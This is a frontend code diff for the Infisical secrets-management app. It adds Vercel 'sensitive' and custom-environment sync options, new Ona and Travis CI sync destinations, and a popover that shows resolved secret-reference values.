 import { useDebounce } from "@app/hooks";
 import {
@@ -13,16 +13,21 @@ import {
   useVercelConnectionListOrganizations
 } from "@app/hooks/api/appConnections/vercel";
 import { SecretSync } from "@app/hooks/api/secretSyncs";
-import { VercelSyncScope } from "@app/hooks/api/secretSyncs/types/vercel-sync";
+import {
+  VercelEnvironmentType,
+  VercelSyncScope
+} from "@app/hooks/api/secretSyncs/types/vercel-sync";
 
 import { TSecretSyncForm } from "../schemas";
 
-const vercelEnvironments = [
+const standardVercelEnvironments = [
   { name: "Development", slug: "development" },
   { name: "Preview", slug: "preview" },
   { name: "Production", slug: "production" }
 ] as const;
 
+const teamVercelEnvironments = [...standardVercelEnvironments] as const;
+
 export const VercelSyncFields = () => {
   const { control, watch, setValue } = useFormContext<
     TSecretSyncForm & { destination: SecretSync.Vercel }
@@ -36,6 +41,13 @@ export const VercelSyncFields = () => {
   const currentEnv = watch("destinationConfig.env");
   const scope = watch("destinationConfig.scope");
   const teamId = watch("destinationConfig.teamId");
+  const targetEnvironments = watch("destinationConfig.targetEnvironments");
+
+  const isProjectDevTargeted =
+    scope !== VercelSyncScope.Team && currentEnv === VercelEnvironmentType.Development;
+  const isTeamDevTargeted =
+    scope === VercelSyncScope.Team &&
+    Boolean(targetEnvironments?.includes(VercelEnvironmentType.Development));
 
   const { data: teams, isLoading: isTeamsLoading } = useVercelConnectionListOrganizations(
     connectionId,
@@ -61,7 +73,7 @@ export const VercelSyncFields = () => {
   }, [allApps, teamId]);
 
   const environmentOptions = useMemo(() => {
-    return vercelEnvironments
+    return standardVercelEnvironments
       .map((env): { key: string; type: string; name: string } => ({
         key: env.slug,
         type: env.slug,
@@ -101,6 +113,7 @@ export const VercelSyncFields = () => {
           setValue("destinationConfig.teamId", "");
           setValue("destinationConfig.teamName", "");
           setValue("destinationConfig.scope", VercelSyncScope.Project);
+          setValue("destinationConfig.sensitive", false);
         }}
       />
 
@@ -121,6 +134,7 @@ export const VercelSyncFields = () => {
                 if (newScope === VercelSyncScope.Team) {
                   setValue("destinationConfig.teamId", "");
                   setValue("destinationConfig.targetEnvironments", []);
+                  setValue("destinationConfig.applyToAllCustomEnvironments", false);
                   setValue("destinationConfig.targetProjects", undefined);
                   setValue("destinationConfig.teamName", "");
                 } else {
@@ -130,6 +144,7 @@ export const VercelSyncFields = () => {
                   setValue("destinationConfig.branch", "");
                   setValue("destinationConfig.teamId", "");
                 }
+                setValue("destinationConfig.sensitive", false);
               }}
               options={scopeOptions}
               placeholder="Select a scope..."
@@ -175,13 +190,15 @@ export const VercelSyncFields = () => {
               >
                 <FilterableSelect
                   isMulti
-                  value={vercelEnvironments.filter((env) => (value || []).includes(env.slug))}
+                  value={teamVercelEnvironments.filter((env) => (value || []).includes(env.slug))}
                   onChange={(option) =>
                     onChange(
-                      (option as MultiValue<(typeof vercelEnvironments)[number]>).map((o) => o.slug)
+                      (option as MultiValue<(typeof teamVercelEnvironments)[number]>).map(
+                        (o) => o.slug
+                      )
                     )
                   }
-                  options={vercelEnvironments}
+                  options={teamVercelEnvironments}
                   placeholder="Select target environments..."
                   getOptionLabel={(option) => option.name}
                   getOptionValue={(option) => option.slug}
@@ -216,6 +233,37 @@ export const VercelSyncFields = () => {
               </FormControl>
             )}
           />
+
+          <Controller
+            name="destinationConfig.applyToAllCustomEnvironments"
+            control={control}
+            render={({ field: { value, onChange } }) => (
+              <FormControl>
+                <Switch
+                  className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                  id="vercel-sync-all-custom-environments"
+                  thumbClassName="bg-mineshaft-800"
+                  isChecked={Boolean(value)}
+                  onCheckedChange={onChange}
+                >
+                  <p className="w-fit">
+                    Apply to All Custom Environments{" "}
+                    <Tooltip
+                      className="max-w-md"
+                      content={
+                        <span>
+                          When enabled, shared environment variables will be applied to all custom
+                          environments in the Vercel team.
+                        </span>
+                      }
+                    >
+                      <FontAwesomeIcon icon={faCircleInfo} className="text-mineshaft-400" />
+                    </Tooltip>
+                  </p>
+                </Switch>
+              </FormControl>
+            )}
+          />
         </>
       )}
 
@@ -307,6 +355,10 @@ export const VercelSyncFields = () => {
                     onChange(envKey);
 
                     setValue("destinationConfig.branch", "");
+
+                    if (envKey === VercelEnvironmentType.Development) {
+                      setValue("destinationConfig.sensitive", false);
+                    }
                   }}
                   options={environmentOptions}
                   placeholder="Select an environment..."
@@ -367,6 +419,64 @@ export const VercelSyncFields = () => {
           )}
         </>
       )}
+
+      <Controller
+        name="destinationConfig.sensitive"
+        control={control}
+        render={({ field: { value, onChange }, fieldState: { error } }) => {
+          const showTeamDevWarning = isTeamDevTargeted && Boolean(value);
+
+          return (
+            <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+              <div className="flex w-fit items-center gap-2">
+                <Tooltip
+                  className="max-w-md"
+                  content="Marking secrets as sensitive in Vercel is not supported for development environments."
+                  isDisabled={!isProjectDevTargeted}
+                >
+                  <div className="w-fit">
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="vercel-sync-sensitive"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={Boolean(value) && !isProjectDevTargeted}
+                      isDisabled={isProjectDevTargeted}
+                      onCheckedChange={(isChecked) => {
+                        if (isProjectDevTargeted) return;
+                        onChange(isChecked);
+                      }}
+                    >
+                      <p className="w-fit">
+                        Mark Secrets as Sensitive in Vercel{" "}
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <span>
+                              When enabled, secrets will be created in Vercel as Sensitive.
+                              Sensitive environment variables cannot be read back via the Vercel API
+                              after creation.
+                            </span>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faCircleInfo} className="text-mineshaft-400" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </div>
+                </Tooltip>
+                {showTeamDevWarning && (
+                  <Tooltip
+                    className="max-w-md"
+                    content="Marking secrets as sensitive in Vercel is not supported for development environments. Sensitive secrets will only be applied to your other selected environments."
+                  >
+                    <FontAwesomeIcon icon={faTriangleExclamation} className="text-yellow" />
+                  </Tooltip>
+                )}
+              </div>
+            </FormControl>
+          );
+        }}
+      />
     </>
   );
 };
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncOptionsFields/SecretSyncOptionsFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncOptionsFields/SecretSyncOptionsFields.tsx
index 43cb522a204..e7bbc65e433 100644
--- a/frontend/src/components/secret-syncs/forms/SecretSyncOptionsFields/SecretSyncOptionsFields.tsx
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncOptionsFields/SecretSyncOptionsFields.tsx
@@ -1,4 +1,4 @@
-import { ReactNode } from "react";
+import { ReactNode, useEffect } from "react";
 import { Controller, useFormContext } from "react-hook-form";
 import {
   faCircleInfo,
@@ -27,15 +27,37 @@ type Props = {
 };
 
 export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
-  const { control, watch } = useFormContext<TSecretSyncForm>();
+  const { control, watch, setValue } = useFormContext<TSecretSyncForm>();
 
   const destination = watch("destination");
   const currentSyncOption = watch("syncOptions");
+  const vercelSensitive =
+    destination === SecretSync.Vercel
+      ? Boolean(watch("destinationConfig.sensitive" as never))
+      : false;
 
   const destinationName = SECRET_SYNC_MAP[destination].name;
 
   const { syncOption } = useSecretSyncOption(destination);
 
+  // Vercel "sensitive" secrets cannot be read back, so importing destination secrets is impossible.
+  // Force the initial sync behavior to OverwriteDestination whenever sensitive is enabled.
+  useEffect(() => {
+    if (
+      vercelSensitive &&
+      currentSyncOption.initialSyncBehavior !== SecretSyncInitialSyncBehavior.OverwriteDestination
+    ) {
+      setValue(
+        "syncOptions.initialSyncBehavior",
+        SecretSyncInitialSyncBehavior.OverwriteDestination
+      );
+    }
+  }, [vercelSensitive, currentSyncOption.initialSyncBehavior, setValue]);
+
+  const initialSyncBehaviorEntries = Object.entries(SECRET_SYNC_INITIAL_SYNC_BEHAVIOR_MAP).filter(
+    ([key]) => !vercelSensitive || key === SecretSyncInitialSyncBehavior.OverwriteDestination
+  );
+
   let AdditionalSyncOptionsFieldsComponent: ReactNode;
 
   switch (destination) {
@@ -86,6 +108,8 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
     case SecretSync.CircleCI:
     case SecretSync.AzureEntraIdScim:
     case SecretSync.ExternalInfisical:
+    case SecretSync.Ona:
+    case SecretSync.TravisCI:
       AdditionalSyncOptionsFieldsComponent = null;
       break;
     default:
@@ -132,7 +156,7 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
                 label="Initial Sync Behavior"
               >
                 <Select
-                  isDisabled={!syncOption?.canImportSecrets}
+                  isDisabled={!syncOption?.canImportSecrets || vercelSensitive}
                   value={value}
                   onValueChange={(val) => onChange(val)}
                   className="w-full border border-mineshaft-500"
@@ -140,7 +164,7 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
                   placeholder="Select an option..."
                   dropdownContainerClassName="max-w-none"
                 >
-                  {Object.entries(SECRET_SYNC_INITIAL_SYNC_BEHAVIOR_MAP).map(([key, details]) => {
+                  {initialSyncBehaviorEntries.map(([key, details]) => {
                     const { name } = details(destinationName);
 
                     return (
@@ -153,7 +177,14 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
               </FormControl>
             )}
           />
-          {!syncOption?.canImportSecrets ? (
+          {vercelSensitive && (
+            <p className="-mt-2.5 mb-2.5 text-xs text-yellow">
+              <FontAwesomeIcon className="mr-1" size="xs" icon={faTriangleExclamation} />
+              When secrets are marked as sensitive, Vercel does not allow them to be read back, so
+              only Overwrite Destination Secrets is supported.
+            </p>
+          )}
+          {!vercelSensitive && !syncOption?.canImportSecrets && (
             <p className="-mt-2.5 mb-2.5 text-xs text-yellow">
               <FontAwesomeIcon className="mr-1" size="xs" icon={faTriangleExclamation} />
               {destinationName} only supports overwriting destination secrets.{" "}
@@ -162,7 +193,9 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
                   syncOption?.supportsDisableSecretDeletion !== false) &&
                 `Secrets not present in Infisical will be removed from the destination. Consider adding a key schema or disabling secret deletion if you do not want existing secrets to be removed from ${destinationName}.`}
             </p>
-          ) : (
+          )}
+          {!vercelSensitive &&
+            syncOption?.canImportSecrets &&
             currentSyncOption.initialSyncBehavior ===
               SecretSyncInitialSyncBehavior.OverwriteDestination &&
             !currentSyncOption.disableSecretDeletion && (
@@ -173,8 +206,7 @@ export const SecretSyncOptionsFields = ({ hideInitialSync }: Props) => {
                 sync behavior to import destination secrets. Alternatively, configure a key schema
                 or disable secret deletion below to have Infisical ignore these secrets.
               </p>
-            )
-          )}
+            )}
         </>
       )}
       {syncOption?.supportsKeySchema !== false && (
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/OnaSyncReviewFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/OnaSyncReviewFields.tsx
new file mode 100644
index 00000000000..3d2896b9d8a
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/OnaSyncReviewFields.tsx
@@ -0,0 +1,16 @@
+import { useFormContext } from "react-hook-form";
+
+import { GenericFieldLabel } from "@app/components/secret-syncs";
+import { TSecretSyncForm } from "@app/components/secret-syncs/forms/schemas";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+export const OnaSyncReviewFields = () => {
+  const { watch } = useFormContext<TSecretSyncForm & { destination: SecretSync.Ona }>();
+  const destinationConfig = watch("destinationConfig");
+
+  return (
+    <GenericFieldLabel label="Ona Project">
+      {destinationConfig.projectName || destinationConfig.projectId}
+    </GenericFieldLabel>
+  );
+};
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/SecretSyncReviewFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/SecretSyncReviewFields.tsx
index ea2d1b50739..de624a82bab 100644
--- a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/SecretSyncReviewFields.tsx
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/SecretSyncReviewFields.tsx
@@ -44,12 +44,14 @@ import { NetlifySyncReviewFields } from "./NetlifySyncReviewFields";
 import { NorthflankSyncReviewFields } from "./NorthflankSyncReviewFields";
 import { OCIVaultSyncReviewFields } from "./OCIVaultSyncReviewFields";
 import { OctopusDeploySyncReviewFields } from "./OctopusDeploySyncReviewFields";
+import { OnaSyncReviewFields } from "./OnaSyncReviewFields";
 import { OnePassSyncReviewFields } from "./OnePassSyncReviewFields";
 import { RailwaySyncReviewFields } from "./RailwaySyncReviewFields";
 import { RenderSyncOptionsReviewFields, RenderSyncReviewFields } from "./RenderSyncReviewFields";
 import { SupabaseSyncReviewFields } from "./SupabaseSyncReviewFields";
 import { TeamCitySyncReviewFields } from "./TeamCitySyncReviewFields";
 import { TerraformCloudSyncReviewFields } from "./TerraformCloudSyncReviewFields";
+import { TravisCISyncReviewFields } from "./TravisCISyncReviewFields";
 import { VercelSyncReviewFields } from "./VercelSyncReviewFields";
 import { WindmillSyncReviewFields } from "./WindmillSyncReviewFields";
 import { ZabbixSyncReviewFields } from "./ZabbixSyncReviewFields";
@@ -198,6 +200,12 @@ export const SecretSyncReviewFields = () => {
     case SecretSync.ExternalInfisical:
       DestinationFieldsComponent = <ExternalInfisicalSyncReviewFields />;
       break;
+    case SecretSync.Ona:
+      DestinationFieldsComponent = <OnaSyncReviewFields />;
+      break;
+    case SecretSync.TravisCI:
+      DestinationFieldsComponent = <TravisCISyncReviewFields />;
+      break;
     default:
       throw new Error(`Unhandled Destination Review Fields: ${destination}`);
   }
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/TravisCISyncReviewFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/TravisCISyncReviewFields.tsx
new file mode 100644
index 00000000000..a5988f5edcf
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/TravisCISyncReviewFields.tsx
@@ -0,0 +1,18 @@
+import { useFormContext } from "react-hook-form";
+
+import { GenericFieldLabel } from "@app/components/secret-syncs";
+import { TSecretSyncForm } from "@app/components/secret-syncs/forms/schemas";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+export const TravisCISyncReviewFields = () => {
+  const { watch } = useFormContext<TSecretSyncForm & { destination: SecretSync.TravisCI }>();
+
+  const config = watch("destinationConfig");
+
+  return (
+    <>
+      <GenericFieldLabel label="Repository">{config.repositorySlug}</GenericFieldLabel>
+      {config.branch && <GenericFieldLabel label="Branch">{config.branch}</GenericFieldLabel>}
+    </>
+  );
+};
diff --git a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/VercelSyncReviewFields.tsx b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/VercelSyncReviewFields.tsx
index fc981a90933..306ccb221aa 100644
--- a/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/VercelSyncReviewFields.tsx
+++ b/frontend/src/components/secret-syncs/forms/SecretSyncReviewFields/VercelSyncReviewFields.tsx
@@ -19,7 +19,9 @@ export const VercelSyncReviewFields = () => {
   const scope = watch("destinationConfig.scope");
   const teamId = watch("destinationConfig.teamId");
   const targetEnvironments = watch("destinationConfig.targetEnvironments");
+  const applyToAllCustomEnvironments = watch("destinationConfig.applyToAllCustomEnvironments");
   const targetProjects = watch("destinationConfig.targetProjects");
+  const sensitive = watch("destinationConfig.sensitive");
   const connectionId = watch("connection.id");
 
   const { data: teams } = useVercelConnectionListOrganizations(connectionId, undefined, {
@@ -47,11 +49,19 @@ export const VercelSyncReviewFields = () => {
           <GenericFieldLabel label="Scope">Team</GenericFieldLabel>
           <GenericFieldLabel label="Vercel Team">{selectedTeam?.name}</GenericFieldLabel>
           <GenericFieldLabel label="Target Environments">
-            {targetEnvironments?.join(", ")}
+            {targetEnvironments?.length
+              ? targetEnvironments
+                  .map((env: string) => env.charAt(0).toUpperCase() + env.slice(1))
+                  .join(", ")
+              : "None"}
+          </GenericFieldLabel>
+          <GenericFieldLabel label="All Custom Environments">
+            {applyToAllCustomEnvironments ? "Yes" : "No"}
           </GenericFieldLabel>
           <GenericFieldLabel label="Target Projects">
             {selectedProjects?.map((project) => project?.name).join(", ")}
           </GenericFieldLabel>
+          <GenericFieldLabel label="Sensitive">{sensitive ? "Yes" : "No"}</GenericFieldLabel>
         </>
       ) : (
         <>
@@ -61,6 +71,7 @@ export const VercelSyncReviewFields = () => {
           {envId === VercelEnvironmentType.Preview && branchId && (
             <GenericFieldLabel label="Preview Branch">{branchId}</GenericFieldLabel>
           )}
+          <GenericFieldLabel label="Sensitive">{sensitive ? "Yes" : "No"}</GenericFieldLabel>
         </>
       )}
     </>
diff --git a/frontend/src/components/secret-syncs/forms/schemas/ona-sync-destination-schema.ts b/frontend/src/components/secret-syncs/forms/schemas/ona-sync-destination-schema.ts
new file mode 100644
index 00000000000..19224f4040c
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/schemas/ona-sync-destination-schema.ts
@@ -0,0 +1,14 @@
+import { z } from "zod";
+
+import { BaseSecretSyncSchema } from "@app/components/secret-syncs/forms/schemas/base-secret-sync-schema";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+export const OnaSyncDestinationSchema = BaseSecretSyncSchema().merge(
+  z.object({
+    destination: z.literal(SecretSync.Ona),
+    destinationConfig: z.object({
+      projectId: z.string().trim().min(1, "Ona project required"),
+      projectName: z.string().trim().optional()
+    })
+  })
+);
diff --git a/frontend/src/components/secret-syncs/forms/schemas/secret-sync-schema.ts b/frontend/src/components/secret-syncs/forms/schemas/secret-sync-schema.ts
index f9bc319b74c..718c1e07097 100644
--- a/frontend/src/components/secret-syncs/forms/schemas/secret-sync-schema.ts
+++ b/frontend/src/components/secret-syncs/forms/schemas/secret-sync-schema.ts
@@ -29,11 +29,13 @@ import { NetlifySyncDestinationSchema } from "./netlify-sync-destination-schema"
 import { NorthflankSyncDestinationSchema } from "./northflank-sync-destination-schema";
 import { OCIVaultSyncDestinationSchema } from "./oci-vault-sync-destination-schema";
 import { OctopusDeploySyncDestinationSchema } from "./octopus-deploy-sync-destination-schema";
+import { OnaSyncDestinationSchema } from "./ona-sync-destination-schema";
 import { RailwaySyncDestinationSchema } from "./railway-sync-destination-schema";
 import { RenderSyncDestinationSchema } from "./render-sync-destination-schema";
 import { SupabaseSyncDestinationSchema } from "./supabase-sync-destination-schema";
 import { TeamCitySyncDestinationSchema } from "./teamcity-sync-destination-schema";
 import { TerraformCloudSyncDestinationSchema } from "./terraform-cloud-destination-schema";
+import { TravisCISyncDestinationSchema } from "./travis-ci-sync-destination-schema";
 import { VercelSyncDestinationSchema } from "./vercel-sync-destination-schema";
 import { WindmillSyncDestinationSchema } from "./windmill-sync-destination-schema";
 import { ZabbixSyncDestinationSchema } from "./zabbix-sync-destination-schema";
@@ -75,7 +77,9 @@ const SecretSyncUnionSchema = z.discriminatedUnion("destination", [
   ChefSyncDestinationSchema,
   CircleCISyncDestinationSchema,
   AzureEntraIdScimSyncDestinationSchema,
-  ExternalInfisicalSyncDestinationSchema
+  ExternalInfisicalSyncDestinationSchema,
+  OnaSyncDestinationSchema,
+  TravisCISyncDestinationSchema
 ]);
 
 export const SecretSyncFormSchema = SecretSyncUnionSchema;
diff --git a/frontend/src/components/secret-syncs/forms/schemas/travis-ci-sync-destination-schema.ts b/frontend/src/components/secret-syncs/forms/schemas/travis-ci-sync-destination-schema.ts
new file mode 100644
index 00000000000..f7b25ffd279
--- /dev/null
+++ b/frontend/src/components/secret-syncs/forms/schemas/travis-ci-sync-destination-schema.ts
@@ -0,0 +1,15 @@
+import { z } from "zod";
+
+import { BaseSecretSyncSchema } from "@app/components/secret-syncs/forms/schemas/base-secret-sync-schema";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+
+export const TravisCISyncDestinationSchema = BaseSecretSyncSchema().merge(
+  z.object({
+    destination: z.literal(SecretSync.TravisCI),
+    destinationConfig: z.object({
+      repositoryId: z.string().min(1, "Repository required"),
+      repositorySlug: z.string().min(1, "Repository required"),
+      branch: z.string().optional()
+    })
+  })
+);
diff --git a/frontend/src/components/secret-syncs/forms/schemas/vercel-sync-destination-schema.ts b/frontend/src/components/secret-syncs/forms/schemas/vercel-sync-destination-schema.ts
index 02691644cad..89028ae56a4 100644
--- a/frontend/src/components/secret-syncs/forms/schemas/vercel-sync-destination-schema.ts
+++ b/frontend/src/components/secret-syncs/forms/schemas/vercel-sync-destination-schema.ts
@@ -10,26 +10,54 @@ import {
 export const VercelSyncDestinationSchema = BaseSecretSyncSchema().merge(
   z.object({
     destination: z.literal(SecretSync.Vercel),
-    destinationConfig: z.discriminatedUnion("scope", [
-      z.object({
-        scope: z.literal(VercelSyncScope.Project),
-        app: z.string().trim().min(1, "Project required"),
-        appName: z.string().trim().min(1, "Project required"),
-        env: z.nativeEnum(VercelEnvironmentType).or(z.string()),
-        branch: z.string().trim().optional(),
-        teamId: z.string().trim()
-      }),
-      z.object({
-        scope: z.literal(VercelSyncScope.Team),
-        teamId: z.string().trim().min(1, "Team required"),
-        teamName: z.string().trim().optional(),
-        targetEnvironments: z
-          .array(z.nativeEnum(VercelEnvironmentType), {
-            message: "At least one environment is required"
-          })
-          .min(1, "At least one environment is required"),
-        targetProjects: z.array(z.string()).optional()
+    destinationConfig: z
+      .discriminatedUnion("scope", [
+        z.object({
+          scope: z.literal(VercelSyncScope.Project),
+          app: z.string().trim().min(1, "Project required"),
+          appName: z.string().trim().min(1, "Project required"),
+          env: z.nativeEnum(VercelEnvironmentType).or(z.string()),
+          branch: z.string().trim().optional(),
+          teamId: z.string().trim(),
+          sensitive: z.boolean().default(false)
+        }),
+        z.object({
+          scope: z.literal(VercelSyncScope.Team),
+          teamId: z.string().trim().min(1, "Team required"),
+          teamName: z.string().trim().optional(),
+          targetEnvironments: z.array(z.nativeEnum(VercelEnvironmentType)).optional().default([]),
+          applyToAllCustomEnvironments: z.boolean().optional().default(false),
+          targetProjects: z.array(z.string()).optional(),
+          sensitive: z.boolean().default(false)
+        })
+      ])
+      .superRefine((config, ctx) => {
+        if (
+          config.scope === VercelSyncScope.Team &&
+          !config.targetEnvironments?.length &&
+          !config.applyToAllCustomEnvironments
+        ) {
+          ctx.addIssue({
+            code: z.ZodIssueCode.custom,
+            message:
+              "At least one target environment or Apply to All Custom Environments must be set.",
+            path: ["targetEnvironments"]
+          });
+        }
+
+        if (!config.sensitive) return;
+
+        if (
+          config.scope === VercelSyncScope.Project &&
+          config.env === VercelEnvironmentType.Development
+        ) {
+          ctx.addIssue({
+            code: z.ZodIssueCode.custom,
+            message:
+              "Marking secrets as sensitive in Vercel is not supported for development environments.",
+            path: ["sensitive"]
+          });
+        }
       })
-    ])
   })
 );
diff --git a/frontend/src/components/secrets/SecretReferenceDetails/ResolvedSecretValuePopover.tsx b/frontend/src/components/secrets/SecretReferenceDetails/ResolvedSecretValuePopover.tsx
new file mode 100644
index 00000000000..f13420a08ff
--- /dev/null
+++ b/frontend/src/components/secrets/SecretReferenceDetails/ResolvedSecretValuePopover.tsx
@@ -0,0 +1,166 @@
+import { useEffect } from "react";
+import { AxiosError } from "axios";
+import { ClipboardCheckIcon, CopyIcon, LinkIcon } from "lucide-react";
+import { twMerge } from "tailwind-merge";
+
+import {
+  IconButton,
+  Label,
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+  SecretInput,
+  Skeleton,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import { useProject } from "@app/context";
+import { useTimedReset } from "@app/hooks";
+import { useGetSecretReferenceTree } from "@app/hooks/api";
+import { ApiErrorTypes, TApiErrors } from "@app/hooks/api/types";
+
+type Props = {
+  environment: string;
+  secretPath: string;
+  secretKey: string;
+};
+
+type PopoverProps = Props & {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+  isDisabled?: boolean;
+};
+
+const ResolvedValueContent = ({ environment, secretPath, secretKey }: Props) => {
+  const { currentProject } = useProject();
+  const projectId = currentProject?.id || "";
+  const [isCopied, , setIsCopied] = useTimedReset<boolean>({ initialState: false });
+
+  const { data, isPending, isError, error } = useGetSecretReferenceTree({
+    secretPath,
+    environmentSlug: environment,
+    projectId,
+    secretKey
+  });
+
+  if (isPending) {
+    return (
+      <div className="flex flex-col gap-2">
+        <Skeleton className="h-4 w-24" />
+        <Skeleton className="h-9 w-full" />
+      </div>
+    );
+  }
+
+  if (isError) {
+    const axiosError = error instanceof AxiosError ? error : undefined;
+    const apiError = axiosError?.response?.data as TApiErrors | undefined;
+    const isForbidden = apiError?.error === ApiErrorTypes.CustomForbiddenError;
+
+    return (
+      <p className="text-sm text-danger">
+        {isForbidden
+          ? "You do not have permission to view one of the referenced secrets."
+          : "Failed to resolve secret value."}
+      </p>
+    );
+  }
+
+  const handleCopy = async () => {
+    try {
+      await window.navigator.clipboard.writeText(data?.value ?? "");
+      setIsCopied(true);
+    } catch {
+      // swallow; clipboard unavailable
+    }
+  };
+
+  return (
+    <div className="flex flex-col gap-2">
+      <div className="mb-2 flex items-center justify-between border-b border-border pb-2">
+        <Label className="text-sm font-normal text-foreground" htmlFor="resolved-secret-value">
+          Resolved Value
+        </Label>
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <IconButton
+              variant="ghost-muted"
+              size="xs"
+              onClick={handleCopy}
+              aria-label="Copy resolved value"
+            >
+              {isCopied ? <ClipboardCheckIcon /> : <CopyIcon />}
+            </IconButton>
+          </TooltipTrigger>
+          <TooltipContent>{isCopied ? "Copied" : "Copy"}</TooltipContent>
+        </Tooltip>
+      </div>
+      <SecretInput
+        containerClassName="font-mono"
+        id="resolved-secret-value"
+        isReadOnly
+        isVisible
+        value={data?.value ?? ""}
+      />
+    </div>
+  );
+};
+
+export const ResolvedSecretValuePopover = ({
+  environment,
+  secretPath,
+  secretKey,
+  open,
+  onOpenChange,
+  isDisabled
+}: PopoverProps) => {
+  useEffect(() => {
+    if (isDisabled && open) onOpenChange(false);
+  }, [isDisabled, open, onOpenChange]);
+
+  return (
+    <Popover open={open && !isDisabled} onOpenChange={onOpenChange}>
+      <Tooltip>
+        <TooltipTrigger asChild>
+          <PopoverTrigger asChild>
+            <IconButton
+              variant="ghost-muted"
+              size="xs"
+              className={twMerge(
+                "absolute -top-1 -left-1",
+                isDisabled && "cursor-not-allowed opacity-50"
+              )}
+              aria-label="View resolved secret value"
+              aria-disabled={isDisabled}
+              onClick={(e) => {
+                e.stopPropagation();
+                if (isDisabled) e.preventDefault();
+              }}
+              onMouseDown={(e) => e.preventDefault()}
+            >
+              <LinkIcon />
+            </IconButton>
+          </PopoverTrigger>
+        </TooltipTrigger>
+        <TooltipContent>
+          {isDisabled ? "Save pending changes to view resolved value" : "View resolved value"}
+        </TooltipContent>
+      </Tooltip>
+      <PopoverContent
+        align="start"
+        className="w-96"
+        onOpenAutoFocus={(e) => e.preventDefault()}
+        onCloseAutoFocus={(e) => e.preventDefault()}
+      >
+        {open && (
+          <ResolvedValueContent
+            environment={environment}
+            secretPath={secretPath}
+            secretKey={secretKey}
+          />
+        )}
+      </PopoverContent>
+    </Popover>
+  );
+};
diff --git a/frontend/src/components/secrets/SecretReferenceDetails/index.tsx b/frontend/src/components/secrets/SecretReferenceDetails/index.tsx
index 268292880c7..d902fc432b2 100644
--- a/frontend/src/components/secrets/SecretReferenceDetails/index.tsx
+++ b/frontend/src/components/secrets/SecretReferenceDetails/index.tsx
@@ -1,2 +1,3 @@
+export { ResolvedSecretValuePopover } from "./ResolvedSecretValuePopover";
 export { SecretReferenceCloseContext } from "./SecretReferenceContext";
 export { hasSecretReference, SecretReferenceTree } from "./SecretReferenceDetails";
diff --git a/frontend/src/components/secrets/diff/SecretDiffView.tsx b/frontend/src/components/secrets/diff/SecretDiffView.tsx
index e540991042f..0f3abcb294f 100644
--- a/frontend/src/components/secrets/diff/SecretDiffView.tsx
+++ b/frontend/src/components/secrets/diff/SecretDiffView.tsx
@@ -7,10 +7,10 @@ import { twMerge } from "tailwind-merge";
 import { isSingleLine, scrollToFirstChange } from "@app/components/utilities/diff";
 import {
   Badge,
+  IconButton,
   Tooltip as V3Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableIconButton
+  TooltipTrigger
 } from "@app/components/v3";
 import {
   HIDDEN_SECRET_VALUE,
@@ -117,7 +117,7 @@ const SecretValueRenderer = ({
       <div className="absolute top-[5px] right-1.5 z-10">
         <V3Tooltip>
           <TooltipTrigger asChild>
-            <UnstableIconButton
+            <IconButton
               variant="ghost"
               size="xs"
               className={twMerge(
@@ -127,7 +127,7 @@ const SecretValueRenderer = ({
               onClick={handleToggleVisibility}
             >
               {isVisible ? <EyeOffIcon /> : <EyeIcon />}
-            </UnstableIconButton>
+            </IconButton>
           </TooltipTrigger>
           <TooltipContent>{isVisible ? "Hide value" : "Reveal value"}</TooltipContent>
         </V3Tooltip>
diff --git a/frontend/src/components/utilities/SecurityClient.ts b/frontend/src/components/utilities/SecurityClient.ts
index c886a45acec..3b63d3d2054 100644
--- a/frontend/src/components/utilities/SecurityClient.ts
+++ b/frontend/src/components/utilities/SecurityClient.ts
@@ -1,17 +1,7 @@
 import { setAuthToken, setMfaTempToken, setSignupTempToken } from "@app/hooks/api/reactQuery";
 
-export const PROVIDER_AUTH_TOKEN_KEY = "infisical__provider-auth-token";
-
 // depreciated: go for apiRequest module in config/api
 export default class SecurityClient {
-  static setProviderAuthToken(tokenStr: string) {
-    localStorage.setItem(PROVIDER_AUTH_TOKEN_KEY, tokenStr || "");
-  }
-
-  static getProviderAuthToken() {
-    return localStorage.getItem(PROVIDER_AUTH_TOKEN_KEY);
-  }
-
